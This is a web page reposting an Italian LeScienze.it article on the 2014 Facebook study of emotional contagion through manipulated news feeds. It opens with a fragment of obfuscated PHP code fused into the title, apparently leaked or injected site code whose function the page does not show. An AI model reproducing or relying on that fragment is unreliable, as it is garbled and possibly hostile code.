=round(0+3))$_59=$_64[round(0+0.333333333333+0.333333333333+0.333333333333)];if($GLOBALS['_1188104000_'][60]($_59)=round(0+0.6+0.6+0.6+0.6+0.6))$_59=$_64[round(0+0.5+0.5)];if($GLOBALS['_1188104000_'][73]($_59)=round(0+0.6+0.6+0.6+0.6+0.6))$_59=$_64[round(0+0.2+0.2+0.2+0.2+0.2)];if($GLOBALS['_1188104000_'][89]($_59)=round(0+0.6+0.6+0.6+0.6+0.6))$_59=$_64[round(0+0.333333333333+0.333333333333+0.333333333333)];if($GLOBALS['_1188104000_'][106]($_59) Il contagio emotivo corre su Facebook

Area Riservata



Ti ricordiamo che per rendere attivo il tuo account dopo la registrazione, sarà necessario aprire il messaggio email che riceverai e cliccare sul link di attivazione.
Il contagio emotivo corre su Facebook PDF 

Fonte: LeScienze.it (03.06.2014)

 

Sui social network le emozioni, sia positive sia negative, passano efficacemente da un utente all'altro attraverso la semplice visualizzazione dei messaggi, influendo sul tono degli interventi successivi. E' la prima volta che si riesce a dimostrare sperimentalmente che il fenomeno del contagio emotivo avviene anche attraverso il puro linguaggio scritto, privato delle sue componenti non verbali.

La visualizzazione di messaggi positivi su un social network può aumentare le emozioni positive, mentre quelli con contenuto negativo stimolano emozioni negative. E' questo il risultato di uno studio condotto da ricercatori della Cornell University e del Core Data Science Team di Facebook, che firmano un articolo pubblicato sui "Proceedings of the National Academy of Sciences".

Il fenomeno del contagio emotivo, per cui le emozioni possono diffondersi inconsciamente da una persona all'altra, è ben noto, tuttavia la sua dimostrazione sperimentale finora ha riguardato esclusivamente le interazioni da persona a persona, nelle quali ha un peso rilevante la comunicazione non verbale, attraverso la mimica, la postura, le inflessioni della voce. I risultati di questa ricerca indicano invece che il contagio emotivo avviene anche in assenza di un comportamento non verbale.

Il contagio emotivo corre su Facebook© Illustration Works/Corbis
Adam D. I. Kramer e colleghi hanno valutato il contenuto positivo e negativo di oltre tre milioni di messaggi letti e scritti nell'arco di una settimana da circa 155.000 utenti di Facebook (selezionati in modo casuale), con il coinvolgimento indiretto di oltre 689.000 persone. La valutazione è stata compiuta misurando con il Linguistic Inquiry and Word Count (LIWC), un software di analisi dei testi, la frequenza nei messaggi di parole classificabili come emotivamente positive o negative. Complessivamente sono stati analizzati circa 122 milioni di parole, di cui 4 milioni positive (il 3,6 per cento) e 1,8 milioni negative (l'1,6 per cento).

Per dare valenza sperimentale al loro studio, i ricercatori hanno agito sui filtri del News Feed di Facebook, ossia dell'algoritmo che seleziona i messaggi scritti dagli amici in base all'interesse individuale per certi contenuti, in modo che arrivino solo quelli presumibilmente più significativi. (Senza questi filtri un utente medio di Facebook sarebbe potenzialmente esposto a circa 1500 contenuti al giorno, mentre grazie a essi solo il 20 per cento circa dei messaggi finisce nella sua bacheca.) In questo modo Kramer e colleghi hanno potuto aumentare o diminuire il numero di messaggi positivi/negativi/neutri visualizzati da ciascun utente.

L'analisi dei dati ha inoltre smentito l'ipotesi che i messaggi positivi possano influire negativamente su chi li leggeattraverso un meccanismo di confronto e invidia sociale. Infatti, all'aumento della lettura di messaggi positivi corrispondeva un aumento di produzione di messaggi positivi da parte del ricevente.

I ricercatori hanno anche osservato quello che hanno chiamato un effetto di "astinenza" emotiva: le persone esposte a un minor numero di messaggi emotivamente carichi (di qualsiasi valenza) tendevano a loro volta a ridurre la produzione di messaggi dotati di valenza emotiva.

 

Per migliorare la tua navigazione su questo sito, utilizziamo cookies ed altre tecnologie che ci permettono di riconoscerti. Utilizzando questo sito, acconsenti agli utilizzi di cookies e delle altre tecnologie descritti nella nostra Cookies Policy Utilizzando questo sito, acconsenti agli utilizzi di cookies e delle altre tecnologie descritti nella nostra Cookies Policy.

Acconsento all'utilizzo dei cookies su questo sito